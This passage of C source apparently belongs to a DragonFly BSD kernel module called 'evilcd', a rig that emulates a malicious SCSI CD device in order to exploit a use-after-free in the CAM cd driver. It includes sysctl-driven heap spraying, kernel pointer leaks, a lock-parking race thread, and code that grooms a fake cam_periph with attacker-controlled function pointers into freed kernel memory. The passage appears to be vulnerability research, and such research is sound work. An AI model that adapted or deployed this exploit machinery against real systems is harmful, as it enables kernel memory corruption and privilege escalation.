		ev_complete(ccb, CAM_REQ_CMP);
	}
	return (0);
}

SYSCTL_NODE(_debug, OID_AUTO, evilcd, CTLFLAG_RW, 0, "evilcd control");
SYSCTL_INT(_debug_evilcd, OID_AUTO, armed, CTLFLAG_RW, &ev_armed, 0,
    "0=benign 1=evil mode page 2=+short subchannel");
SYSCTL_INT(_debug_evilcd, OID_AUTO, blkdesc, CTLFLAG_RW, &ev_blkdesc, 0,
    "MODE SENSE(10) blk_desc_len used by the evil header");
SYSCTL_INT(_debug_evilcd, OID_AUTO, blkdesc_out, CTLFLAG_RD, &ev_blkdesc, 0,
    "scratch");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, spray_victims, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_spray_victims, "I", "alloc+stamp 65536x32B victims");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, free_window, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_free_window, "I", "free victims 30000..30031");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, check_victims, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_check_victims, "I", "scan victims for corruption");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, spray_leak, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_spray_leak, "I", "alloc+free 1024x24B leak markers");
SYSCTL_INT(_debug_evilcd, OID_AUTO, probe, CTLFLAG_RW, &ev_probe, 0,
    "allocate an in-handler probe victim and aim at it");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, spray_targets, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_spray_targets, "I", "alloc+stamp 8192x64B aim targets");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, aim, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_aim, "I", "aim blkdesc at a 64B target");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, modebuf, CTLTYPE_LONG | CTLFLAG_RD,
    0, 0, ev_sys_modebuf, "LU", "last observed mode_buf address");
SYSCTL_INT(_debug_evilcd, OID_AUTO, mark24, CTLFLAG_RW, &ev_mark24, 0,
    "spray marked 24B chunks in the READ SUBCHANNEL handler");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, mark_subbuf, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_mark_subbuf, "I", "stamp the freed subchannel buffer chunk");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, kptr, CTLTYPE_LONG | CTLFLAG_RD,
    0, 0, ev_sys_kptr, "LU", "kernel pointer marker (&ev_lock)");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, refcnt, CTLTYPE_INT | CTLFLAG_RD,
    0, 0, ev_sys_refcnt, "I", "cd periph refcount");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, unstall, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_unstall, "I", "complete the stalled PAUSE");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, periphaddr, CTLTYPE_LONG | CTLFLAG_RD,
    0, 0, ev_sys_periphaddr, "LU", "cd periph kernel address");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, postmortem, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, ev_sys_postmortem, "A", "freed periph chunk dump");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, sprayfake, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_sprayfake, "I", "groom fake cam_periph into freed chunk");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, invalidate, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_invalidate, "I", "AC_LOST_DEVICE on the cd target");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, gate, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_gate, "I", "1=park SIM lock 2=invalidate+groom+release");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, gate_state, CTLTYPE_INT | CTLFLAG_RD,
    0, 0, ev_sys_gate_state, "I", "gate kthread state");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, rescan, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_rescan, "I", "rescan the evil bus (recreate cd periph)");
SYSCTL_INT(_debug_evilcd, OID_AUTO, watch, CTLFLAG_RW, &ev_watch, 0,
    "0=cd 1=pass 2=ch");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, fakeref, CTLTYPE_INT | CTLFLAG_RD,
    0, 0, ev_sys_fakeref, "I", "raw refcount at the (possibly fake) periph");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, defer, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_defer, "I", "1=park all SCSI IO (write 0 to release)");




/* ================= DF-5327 additions ================= */

static struct cam_path	*ev_realpath;	/* owner path for the fake periph */
static void		*ev_fake_softc;	/* rig-owned fake softc buffer */
static int		 ev_gate_cmd;	/* 1=park  2=invalidate+groom+release */
static int		 ev_gate_state;
static u_int32_t	 ev_fake_refcnt_seen;
static u_int32_t	 ev_premortem_refcnt;
static int		 ev_uaf_hits;
static int		 ev_fake_built;
static int		 ev_spray_keep_n;
static void		*ev_spray_keep[16384];
static char		 ev_fake_name[] = "cd";

static void ev_gate_thread(void *arg);
static void ev_fake_start(struct cam_periph *periph, union ccb *start_ccb);

static void
evm_refresh_periph(void)
{
	struct cam_path *path;

	if (ev_sim == NULL)
		return;
	if (xpt_create_path(&path, NULL, cam_sim_path(ev_sim),
	    ev_watch_target(), 0) == CAM_REQ_CMP) {
		ev_cdperiph = cam_periph_find(path, ev_watch_name());
		xpt_free_path(path);
	}
}

/* invalidate everything at (bus,0,0) -- caller holds ev_lock */
static void
evm_invalidate(void)
{
	struct cam_path *path;

	if (ev_sim == NULL)
		return;
	if (xpt_create_path(&path, NULL, cam_sim_path(ev_sim),
	    ev_watch_target(), 0) == CAM_REQ_CMP) {
		xpt_async(AC_LOST_DEVICE, path, NULL);
		xpt_free_path(path);
	}
}

static int
ev_sys_invalidate(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	if (ev_sim != NULL) {
		lockmgr(&ev_lock, LK_EXCLUSIVE);
		evm_invalidate();
		lockmgr(&ev_lock, LK_RELEASE);
	}
	return (0);
}

static int
ev_sys_periphaddr(SYSCTL_HANDLER_ARGS)
{
	int error;
	unsigned long val = 0;

	evm_refresh_periph();
	if (ev_cdperiph != NULL)
		val = (unsigned long)(uintptr_t)ev_cdperiph;
	error = sysctl_handle_long(oidp, &val, 0, req);
	if (error != 0 || req->newptr != NULL)
		return (error);
	return (0);
}

static int
ev_sys_postmortem(SYSCTL_HANDLER_ARGS)
{
	char buf[640];
	int error, i, n;
	u_int32_t *w;
	struct cam_periph *p = ev_cdperiph;

	if (p == NULL)
		return (sysctl_handle_string(oidp, "(no periph)", 0, req));
	w = (u_int32_t *)p;
	n = ksnprintf(buf, sizeof(buf),
	    "periph %p size=%d refcnt_off=%d: ", (void *)p,
	    (int)sizeof(struct cam_periph),
	    (int)offsetof(struct cam_periph, refcount));
	for (i = 0; i < 16 && n < (int)sizeof(buf) - 16; i++)
		n += ksnprintf(buf + n, sizeof(buf) - n, "%08x ", w[i]);
	ksnprintf(buf + n, sizeof(buf) - n, "| fake_built=%d uaf_hits=%d "
	    "fakeref@hit=%08x premortem_refcnt=%08x",
	    ev_fake_built, ev_uaf_hits, ev_fake_refcnt_seen,
	    ev_premortem_refcnt);
	error = sysctl_handle_string(oidp, buf, sizeof(buf), req);
	return (error);
}

/* core: groom a fully attacker-chosen fake cam_periph into the
 * freed periph chunk.  Caller holds ev_lock (or none, post-mortem). */
static int
evm_sprayfake(void)
{
	int k;
	void *p;
	struct cam_periph *fp;

	if (ev_cdperiph == NULL)
		return (ENOENT);
	/* cycle the zalloc magazines so the just-freed chunk (parked in a
	 * full free-magazine) becomes reachable from this CPU again */
	for (k = 0; k < 4096; k++) {
		void *t = kmalloc(sizeof(struct cam_periph), M_EVILCD,
		    M_INTWAIT | M_ZERO);
		kfree(t, M_EVILCD);
	}
	p = NULL;
	for (k = 0; k < 16384; k++) {
		void *q = kmalloc(sizeof(struct cam_periph), M_EVILCD,
		    M_INTWAIT | M_ZERO);
		if (q == (void *)ev_cdperiph) {
			p = q;
			break;
		}
		if (ev_spray_keep_n < 16384)
			ev_spray_keep[ev_spray_keep_n++] = q;
	}
	if (p == NULL) {
		kprintf("[EVILCD] sprayfake: chunk %p NOT reused\n",
		    (void *)ev_cdperiph);
		return (ENOENT);
	}
	fp = (struct cam_periph *)p;
	if (xpt_create_path(&ev_realpath, fp, cam_sim_path(ev_sim),
	    ev_watch_target(), 0) != CAM_REQ_CMP)
		kprintf("[EVILCD] sprayfake: realpath create failed\n");
	fp->pinfo.priority = 5;
	fp->pinfo.index = CAM_UNQUEUED_INDEX;
	fp->periph_start = ev_fake_start;
	strlcpy(ev_fake_name, ev_watch_name(), sizeof(ev_fake_name));
	fp->periph_name = ev_fake_name;
	fp->unit_number = 1;
	fp->path = ev_realpath;
	fp->softc = ev_fake_softc;
	fp->sim = ev_sim;
	fp->type = CAM_PERIPH_BIO;
	fp->flags = CAM_PERIPH_RUNNING;
	fp->immediate_priority = CAM_PRIORITY_NONE;
	fp->refcount = 0x41414141;
	SLIST_INIT(&fp->ccb_list);
	ev_fake_built = 1;
	kprintf("[EVILCD] sprayfake: fake periph planted at %p "
	    "(softc=%p path=%p sim=%p refcount=0x41414141)\n",
	    (void *)fp, ev_fake_softc, (void *)ev_realpath, (void *)ev_sim);
	return (0);
}

static int
ev_sys_sprayfake(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	/* use the STALE pointer (post-free groom); refresh only if we
	 * have never seen a periph at all */
	if (ev_cdperiph == NULL)
		evm_refresh_periph();
	lockmgr(&ev_lock, LK_EXCLUSIVE);
	error = evm_sprayfake();
	lockmgr(&ev_lock, LK_RELEASE);
	return (error);
}

/* periph_start for the fake periph: hand the ccb to getccb's list */
static void
ev_fake_start(struct cam_periph *periph, union ccb *start_ccb)
{
	if ((void *)periph == (void *)ev_cdperiph) {
		ev_uaf_hits++;
		ev_fake_refcnt_seen = periph->refcount;
		kprintf("[EVILCD] UAF: periph_start on freed/fake periph "
		    "%p refcount=%08x hit#%d\n", (void *)periph,
		    periph->refcount, ev_uaf_hits);
	}
	SLIST_INSERT_HEAD(&periph->ccb_list, &start_ccb->ccb_h,
	    periph_links.sle);
	wakeup(&periph->ccb_list);
}

static int
ev_sys_gate(SYSCTL_HANDLER_ARGS)
{
	int v = 0, error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL || v == 0)
		return (error);
	if (v == 1 || v == 2) {
		ev_gate_cmd = v;
		wakeup((void *)&ev_gate_cmd);
	}
	return (0);
}

static int
ev_sys_gate_state(SYSCTL_HANDLER_ARGS)
{
	int error, v = ev_gate_state;

	error = sysctl_handle_int(oidp, &v, 0, req);
	return (error);
}

static void
ev_gate_thread(void *arg)
{
	(void)arg;
	for (;;) {
		while (ev_gate_cmd == 0)
			tsleep((void *)&ev_gate_cmd, 0, "evgate", 0);
		if (ev_gate_cmd == 1) {
			/* park: hold the SIM lock so an ioctl thread
			 * blocks in cam_periph_lock() AFTER its
			 * cam_extend_get() has fetched the pointer */
			lockmgr(&ev_lock, LK_EXCLUSIVE);
			ev_gate_state = 1;
			kprintf("[EVILCD] gate: SIM lock held\n");
			while (ev_gate_cmd == 1)
				tsleep((void *)&ev_gate_cmd, 0, "evgate", 0);
			if (ev_gate_cmd == 2) {
				/* refcount is 0: invalidate frees the periph
				 * synchronously (camperiphfree), then groom
				 * the fake periph into the freed chunk, then
				 * release the SIM lock so the parked ioctl
				 * thread resumes INTO the fake object. */
				ev_premortem_refcnt = ev_cdperiph ?
				    ev_cdperiph->refcount : 0xDEAD;
				cam_periph_invalidate(ev_cdperiph);
				evm_sprayfake();
				ev_gate_state = 2;
				kprintf("[EVILCD] gate: invalidated+groomed, "
				    "releasing SIM lock\n");
				lockmgr(&ev_lock, LK_RELEASE);
			} else {
				lockmgr(&ev_lock, LK_RELEASE);
			}
			ev_gate_cmd = 0;
			ev_gate_state = 0;
		}
	}
	kthread_exit();
}

static int
ev_sys_rescan(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;
	struct cam_path *path;
	union ccb *ccb;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	if (ev_sim == NULL)
		return (ENXIO);
	lockmgr(&ev_lock, LK_EXCLUSIVE);
	if (xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) {
		ccb = xpt_alloc_ccb();
		xpt_setup_ccb(&ccb->ccb_h, path, 5);
		ccb->ccb_h.func_code = XPT_SCAN_BUS;
		ccb->ccb_h.cbfcnp = ev_scan_done;
		xpt_action(ccb);
	}
	lockmgr(&ev_lock, LK_RELEASE);
	return (0);
}


/* ---- deferred (parked) SCSI completions: park an in-flight ioctl
 *      thread in cam_periph_ccbwait() without holding the SIM lock ---- */
/* (ev_defer_ccb/ev_defer_on/ev_defer_n declared at top) */

static void
ev_defer_complete(void)
{
	union ccb *ccb;

	if (ev_defer_ccb != NULL) {
		ccb = ev_defer_ccb;
		ev_defer_ccb = NULL;
		ccb->csio.scsi_status = SCSI_STATUS_OK;
		ccb->csio.resid = ccb->csio.dxfer_len;
		kprintf("[EVILCD] deferred ccb released (fd holder parked "
		    "forever is fine)\n");
		ev_complete(ccb, CAM_REQ_CMP);
	}
}

static void
ev_defer_thread(void *arg)
{
	(void)arg;
	for (;;) {
		if (ev_defer_ccb != NULL && ev_defer_on == 0)
			ev_defer_complete();
		tsleep(&ev_defer_n, 0, "evdefr", hz / 10);
	}
	kthread_exit();
}

static int
ev_sys_defer(SYSCTL_HANDLER_ARGS)
{
	int v = 0, error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (req->newptr != NULL) {
		if (v == 0) {
			ev_defer_on = 0;
			wakeup(&ev_defer_n);
		} else {
			ev_defer_on = 1;
		}
	}
	return (0);
}

static int
ev_sys_fakeref(SYSCTL_HANDLER_ARGS)
{
	int error, v = -1;

	if (ev_cdperiph != NULL)
		v = (int)ev_cdperiph->refcount;
	error = sysctl_handle_int(oidp, &v, 0, req);
	return (error);
}
/* ---------------- bus registration + scan ---------------- */

static void
ev_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	xpt_free_path(done_ccb->ccb_h.path);
	xpt_free_ccb(&done_ccb->ccb_h);
}

static void
ev_choreography(void *arg)
{
	struct cam_path *path;
	union ccb *ccb;
	cam_status status;

	ev_sim = cam_sim_alloc(ev_action, ev_poll, "evilcd", NULL, 0,
	    &ev_lock, 16, 16, NULL);
	if (ev_sim == NULL) {
		kprintf("[EVILCD] cam_sim_alloc failed\n");
		kthread_exit();
	}
	cam_sim_lock(&ev_lock);
	if (xpt_bus_register(ev_sim, 0) != CAM_SUCCESS) {
		kprintf("[EVILCD] xpt_bus_register failed\n");
		cam_sim_unlock(&ev_lock);
		kthread_exit();
	}

	status = xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD);
	if (status != CAM_REQ_CMP) {
		kprintf("[EVILCD] cannot create scan path: %#x\n", status);
		cam_sim_unlock(&ev_lock);
		kthread_exit();
	}
	ccb = xpt_alloc_ccb();
	xpt_setup_ccb(&ccb->ccb_h, path, 5);
	ccb->ccb_h.func_code = XPT_SCAN_BUS;
	ccb->ccb_h.cbfcnp = ev_scan_done;
	xpt_action(ccb);

	kprintf("[EVILCD] bus scanned\n");
	cam_sim_unlock(&ev_lock);
	kthread_exit();
}

static int
evilcd_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		lockinit(&ev_lock, "evilcd", 0, LK_CANRECURSE);
		ev_fake_softc = kmalloc(65536, M_EVILCD, M_INTWAIT | M_ZERO);
		ev_defer_on = 0;
		kthread_create(ev_choreography, NULL, NULL, "evilcd");
		kthread_create(ev_gate_thread, NULL, NULL, "evgate");
		kthread_create(ev_defer_thread, NULL, NULL, "evdefr");
		break;
	case MOD_UNLOAD:
		kprintf("[EVILCD] unload not supported\n");
		error = EBUSY;
		break;
	default:
		error = EOPNOTSUPP;
		break;
	}
	return (error);
}

static moduledata_t evilcd_mod = { "evilcd", evilcd_modevent, NULL };
DECLARE_MODULE(evilcd, evilcd_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(evilcd, cam, 1, 1, 1);
